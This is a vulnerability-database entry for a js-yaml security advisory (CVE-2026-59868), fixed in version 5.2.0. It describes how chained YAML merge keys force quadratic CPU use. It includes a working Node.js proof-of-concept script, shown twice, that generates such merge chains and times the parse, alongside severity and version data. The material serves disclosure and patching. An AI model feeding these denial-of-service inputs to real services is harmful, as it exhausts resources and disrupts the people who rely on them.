GHSA-G796-FGMG-93MV
Vulnerability from github – Published: 2026-07-20 21:19 – Updated: 2026-07-20 21:19Impact
This is the same report as for v3/v4, but with lower severity, because in v5, merge is off by default
When merge keys (<<) are enabled, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:
a0: &a0 { k0: 0 }
a1: &a1 { <<: *a0, k1: 1 }
a2: &a2 { <<: *a1, k2: 2 }
a3: &a3 { <<: *a2, k3: 3 }
...
b: *aN
For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.
PoC
From N = 4000 delay become > 1s (doc size < 100K)
import { performance } from 'node:perf_hooks'
import { Buffer } from 'node:buffer'
import { load, YAML11_SCHEMA } from 'js-yaml'
const n = Number(process.argv[2] || 4000)
function makeMergeChain (count) {
const lines = ['a0: &a0 { k0: 0 }']
for (let i = 1; i < count; i++) {
lines.push(`a${i}: &a${i} { <<: *a${i - 1}, k${i}: ${i} }`)
}
lines.push(`b: *a${count - 1}`)
return `${lines.join('\n')}\n`
}
const source = makeMergeChain(n)
console.log(source.split('\n').slice(0, 8).join('\n'))
console.log('...')
console.log(source.split('\n').slice(-4).join('\n'))
console.log()
console.log(`N: ${n}`)
console.log(`YAML size: ${Buffer.byteLength(source)} bytes`)
const started = performance.now()
const result = load(source, { schema: YAML11_SCHEMA })
const elapsed = performance.now() - started
console.log(`parse time: ${elapsed.toFixed(1)} ms`)
console.log(`top-level keys: ${Object.keys(result).length}`)
console.log(`b keys: ${Object.keys(result.b).length}`)
Patches
Fix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.1.0"
},
"package": {
"ecosystem": "npm",
"name": "js-yaml"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.2.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59868"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-407",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-20T21:19:27Z",
"nvd_published_at": "2026-07-08T16:16:33Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nThis is the same report as for v3/v4, but with lower severity, because in v5, merge is off by default\n\nWhen merge keys (`\u003c\u003c`) are enabled, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:\n\n```yaml\na0: \u0026a0 { k0: 0 }\na1: \u0026a1 { \u003c\u003c: *a0, k1: 1 }\na2: \u0026a2 { \u003c\u003c: *a1, k2: 2 }\na3: \u0026a3 { \u003c\u003c: *a2, k3: 3 }\n...\nb: *aN\n```\n\nFor each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.\n\n### PoC\n\nFrom N = 4000 delay become \u003e 1s (doc size \u003c 100K)\n\n```js\nimport { performance } from \u0027node:perf_hooks\u0027\nimport { Buffer } from \u0027node:buffer\u0027\nimport { load, YAML11_SCHEMA } from \u0027js-yaml\u0027\n\nconst n = Number(process.argv[2] || 4000)\n\nfunction makeMergeChain (count) {\n const lines = [\u0027a0: \u0026a0 { k0: 0 }\u0027]\n\n for (let i = 1; i \u003c count; i++) {\n lines.push(`a${i}: \u0026a${i} { \u003c\u003c: *a${i - 1}, k${i}: ${i} }`)\n }\n\n lines.push(`b: *a${count - 1}`)\n return `${lines.join(\u0027\\n\u0027)}\\n`\n}\n\nconst source = makeMergeChain(n)\n\nconsole.log(source.split(\u0027\\n\u0027).slice(0, 8).join(\u0027\\n\u0027))\nconsole.log(\u0027...\u0027)\nconsole.log(source.split(\u0027\\n\u0027).slice(-4).join(\u0027\\n\u0027))\nconsole.log()\nconsole.log(`N: ${n}`)\nconsole.log(`YAML size: ${Buffer.byteLength(source)} bytes`)\n\nconst started = performance.now()\nconst result = load(source, { schema: YAML11_SCHEMA })\nconst elapsed = performance.now() - started\n\nconsole.log(`parse time: ${elapsed.toFixed(1)} ms`)\nconsole.log(`top-level keys: ${Object.keys(result).length}`)\nconsole.log(`b keys: ${Object.keys(result.b).length}`)\n```\n\n### Patches\n\nFix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.",
"id": "GHSA-g796-fgmg-93mv",
"modified": "2026-07-20T21:19:27Z",
"published": "2026-07-20T21:19:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nodeca/js-yaml/security/advisories/GHSA-g796-fgmg-93mv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59868"
},
{
"type": "WEB",
"url": "https://github.com/nodeca/js-yaml/commit/3105455b81dee69e0fd36e09ac0b2ccfdb54adc1"
},
{
"type": "PACKAGE",
"url": "https://github.com/nodeca/js-yaml"
},
{
"type": "WEB",
"url": "https://github.com/nodeca/js-yaml/releases/tag/5.2.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "js-yaml: YAML merge-key chains can force quadratic CPU consumption in js-yaml"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.